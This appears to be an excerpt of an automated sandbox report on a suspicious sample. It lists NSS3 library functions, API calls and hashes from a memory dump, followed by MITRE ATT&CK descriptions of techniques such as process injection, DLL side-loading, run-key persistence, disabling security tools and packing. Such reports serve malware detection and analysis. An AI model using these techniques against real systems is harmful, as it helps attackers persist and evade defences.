Part of subcall function 6CB5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB5E249
Part of subcall function 6CB5E190: PR_ExitMonitor.NSS3 ref: 6CB5E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB61E37
PR_ExitMonitor.NSS3 ref: 6CB61E4A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: fde3e73aa5c3a906cd9d9cfeaf6b61c645089450e86400f9f47696281a7d56e9
Instruction ID: 2bd91f302980b1f785e91d3e333692f214ec7568880d03c4d266da19414a58d2
Opcode Fuzzy Hash: fde3e73aa5c3a906cd9d9cfeaf6b61c645089450e86400f9f47696281a7d56e9
Instruction Fuzzy Hash: 83018FB1B402D197EA109B6BED00F4677B4AB51B48F180031E91997F91E731E828DB96

Function 6CB61D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB61D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB61D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CB61D9C
free.MOZGLUE(00000000), ref: 6CB61DB8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 08dd93b9d5a131dbd0586d9ea63d2dee331d8f85c0d120626fe44fb050d7bf79
Instruction ID: 7f87b11655d1c7b8401c4cbfefef1eb17ae80e6879cd608dd402e21bc63504f2
Opcode Fuzzy Hash: 08dd93b9d5a131dbd0586d9ea63d2dee331d8f85c0d120626fe44fb050d7bf79
Instruction Fuzzy Hash: CAF0F9F26012E157FB101F5FEC41B6B7658DB81798F180635DD1D97F40DA71E80486E2

Function 6CBFAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CBE5D40,00000000,?,?,6CBD6AC6,6CBE639C), ref: 6CBFAC2D

Part of subcall function 6CB9ADC0: TlsGetValue.KERNEL32(?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE10
Part of subcall function 6CB9ADC0: EnterCriticalSection.KERNEL32(?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE24
Part of subcall function 6CB9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB7D079,00000000,00000001), ref: 6CB9AE5A
Part of subcall function 6CB9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE6F
Part of subcall function 6CB9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AE7F
Part of subcall function 6CB9ADC0: TlsGetValue.KERNEL32(?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AEB1
Part of subcall function 6CB9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB7CDBB,?,6CB7D079,00000000,00000001), ref: 6CB9AEC9

PK11_FreeSymKey.NSS3(?,6CBE5D40,00000000,?,?,6CBD6AC6,6CBE639C), ref: 6CBFAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CBE5D40,00000000,?,?,6CBD6AC6,6CBE639C), ref: 6CBFAC59
free.MOZGLUE(8CB6FF01,6CBD6AC6,6CBE639C,?,?,?,?,?,?,?,?,?,6CBE5D40,00000000,?,6CBEAAD4), ref: 6CBFAC62

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 8452513da6a759b5932182b77775eef0732ae564be567d17792ee6e903b149b3
Instruction ID: 2301e8fe68a31ae368af43626763b12e49d3f957290d00b343480970b098967d
Opcode Fuzzy Hash: 8452513da6a759b5932182b77775eef0732ae564be567d17792ee6e903b149b3
Instruction Fuzzy Hash: 51018BB5A002409FDB00DF54ECD0B8A7BB8EF04B58F188068E9598F706D731E849CFA2

Function 6CBAFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB59003,?), ref: 6CBAFD91

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

PORT_Alloc_Util.NSS3(A4686CBB,?), ref: 6CBAFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBB,?,?), ref: 6CBAFDC4
free.MOZGLUE(00000000,?,?), ref: 6CBAFDD1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: ec37ad74064ad3e39254ab20611fc81484fa7ae92f62892d879ce591d5a1871f
Instruction ID: abcf3ef32681185bca54daffa434d993cb5c2c9bad74b48dc2496c7034b9f51d
Opcode Fuzzy Hash: ec37ad74064ad3e39254ab20611fc81484fa7ae92f62892d879ce591d5a1871f
Instruction Fuzzy Hash: A6F0FCF16062925BEF014FD5ED80977B768EF54299B148035ED498FB01EB31D816C7E2

Function 6CC6CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC6CC61
free.MOZGLUE ref: 6CC6CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC6CC80
free.MOZGLUE(?), ref: 6CC6CC87

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 30afbea4dfff9a764b0195373cfe269e1e978c08c479c2017dc62ab81d35afb9
Instruction ID: 792f6de6c3124ab1abdfd9c96dde2e056fd96de5cef1781eec0f92bb6caeeceb
Opcode Fuzzy Hash: 30afbea4dfff9a764b0195373cfe269e1e978c08c479c2017dc62ab81d35afb9
Instruction Fuzzy Hash: D9E030767006089BCA10EFE8EC8888A77BCEF493703150525E691C3700D232F905CBA1

Function 6CB49DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CB49E1F

Part of subcall function 6CB013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CAD2352,?,00000000,?,?), ref: 6CB01413
Part of subcall function 6CB013C0: memcpy.VCRUNTIME140(00000000,6CAD2352,00000002,?,?,?,?,6CAD2352,?,00000000,?,?), ref: 6CB014C0

Strings

ESCAPE expression must be a single character, xrefs: 6CB49F78
LIKE or GLOB pattern too complex, xrefs: 6CB4A006

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 904440310f99afd66e3458d685ac2854a939e6f400b10eadab0b482079aa6087
Instruction ID: 1c3712640b17a065b47eb869b985bbfdcc8790d210185512eaa0343787c19021
Opcode Fuzzy Hash: 904440310f99afd66e3458d685ac2854a939e6f400b10eadab0b482079aa6087
Instruction Fuzzy Hash: 3C812D70E0C2958BDB00CF29C1807A9B7F6EF85318F18C659D8A58BB89D735E846D791

Function 6CBA4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBA4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CBA4DE6

Strings

%d.%d, xrefs: 6CBA4DDE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: d0b79e1e8b932deb4e2edc5da8963aa0dd7d2f79769547866406528e71f93542
Instruction ID: cfa676ed3145446bd1db71734e19d5e7b509631c1ae701ddc3d4907c31ee43e9
Opcode Fuzzy Hash: d0b79e1e8b932deb4e2edc5da8963aa0dd7d2f79769547866406528e71f93542
Instruction Fuzzy Hash: FF31EEB1D082696BEB109BE19C01BFF7768DF41308F050429ED9557741EF309D06CBA2

Function 6CBEAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CBEAF78

Part of subcall function 6CB4ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4ACE2
Part of subcall function 6CB4ACC0: malloc.MOZGLUE(00000001), ref: 6CB4ACEC
Part of subcall function 6CB4ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB4AD02
Part of subcall function 6CB4ACC0: TlsGetValue.KERNEL32 ref: 6CB4AD3C
Part of subcall function 6CB4ACC0: calloc.MOZGLUE(00000001,?), ref: 6CB4AD8C
Part of subcall function 6CB4ACC0: PR_Unlock.NSS3 ref: 6CB4ADC0
Part of subcall function 6CB4ACC0: PR_Unlock.NSS3 ref: 6CB4AE8C
Part of subcall function 6CB4ACC0: free.MOZGLUE(?), ref: 6CB4AEAB

memcpy.VCRUNTIME140(6CCB3084,6CCB02AC,00000090), ref: 6CBEAF94

Strings

SSL, xrefs: 6CBEAF73

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: cc853c586a76e679a8f1cb072f3795278e693b057905e29f937591a165bc065c
Instruction ID: 88e310dbe995b3b85d9aa06502410b8eb031f02a8514839e896fefed15971a60
Opcode Fuzzy Hash: cc853c586a76e679a8f1cb072f3795278e693b057905e29f937591a165bc065c
Instruction Fuzzy Hash: EA215CB2655B89DFCA02DFD1B9473227E71BB0AB887185109C5190BB25EF31500A9FDD

Function 6CB40F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F1B

Part of subcall function 6CB41370: GetSystemInfo.KERNEL32(?,?,?,?,6CB40936,?,6CB40F20,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000), ref: 6CB4138F

PR_NewLogModule.NSS3(clock,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F25

Part of subcall function 6CB41110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CB40936,00000001,00000040), ref: 6CB41130
Part of subcall function 6CB41110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB40936,00000001,00000040), ref: 6CB41142
Part of subcall function 6CB41110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB40936,00000001), ref: 6CB41167

Strings

clock, xrefs: 6CB40F20

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: af866ae7d5e4189be7073a1a0f2cc6621b9bbf4e350c7c0f597f6fac5390436e
Instruction ID: f93c7936a2f06cdc603328db1faf1fb80ad673edc1806d83b521a4360f991897
Opcode Fuzzy Hash: af866ae7d5e4189be7073a1a0f2cc6621b9bbf4e350c7c0f597f6fac5390436e
Instruction Fuzzy Hash: 3CD01231A0C19465C51167D7AC45BABB6BCC7C327AF14CC76E12842E14CA6450FBE37A

Function 6CBB0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CBB0DF5
TlsGetValue.KERNEL32 ref: 6CBB0E2D
TlsGetValue.KERNEL32 ref: 6CBB0E58
TlsGetValue.KERNEL32 ref: 6CBB0E84

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 60cd7c9c1327573d53952730747f849cd48d78b6ed30f722542679a3673ad62c
Instruction ID: 349e613fc46c223e489ba323331e843e5c310aa29769cbeb0f2eb963a1988cc0
Opcode Fuzzy Hash: 60cd7c9c1327573d53952730747f849cd48d78b6ed30f722542679a3673ad62c
Instruction Fuzzy Hash: 7F3192B0E483C18BDB006F78E68867D77B4FF15348F114669E89897A11EF34D485DB82

Function 6CBB0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB52AF5,?,?,?,?,?,6CB50A1B,00000000), ref: 6CBB0F1A
malloc.MOZGLUE(00000001), ref: 6CBB0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBB0F42
TlsGetValue.KERNEL32 ref: 6CBB0F5B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: d66ca3937c21b7cbb645e75f751fcab28e98b9d4f29b54f9959e76eac30d0d3e
Instruction ID: 022149a9490c5e62cf7f6a60e5bb495b4d47af5c72d1f848e75e7042c9a53c48
Opcode Fuzzy Hash: d66ca3937c21b7cbb645e75f751fcab28e98b9d4f29b54f9959e76eac30d0d3e
Instruction Fuzzy Hash: FF01B5F1F042C05BEB10277AAF4457A7ABCEF52299B010125E818D7A21EF31C855C6E2

Function 6CB61EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB61ECE
free.MOZGLUE(?), ref: 6CB61EDF
free.MOZGLUE(?), ref: 6CB61EEF
free.MOZGLUE(?), ref: 6CB61EF5

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d715500a3443925c3b34eab226cea7e3dfeae4592b5e999e14a9a478a30f5f5d
Instruction ID: 433c9486a3b671ae6a6b8dac50662b598f8f777d5481afea595fe10cd7b79868
Opcode Fuzzy Hash: d715500a3443925c3b34eab226cea7e3dfeae4592b5e999e14a9a478a30f5f5d
Instruction Fuzzy Hash: F3F054B17015456BEB00DBE6EC49E67737CEF45695B180425EC1DC3E00D726F85496A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

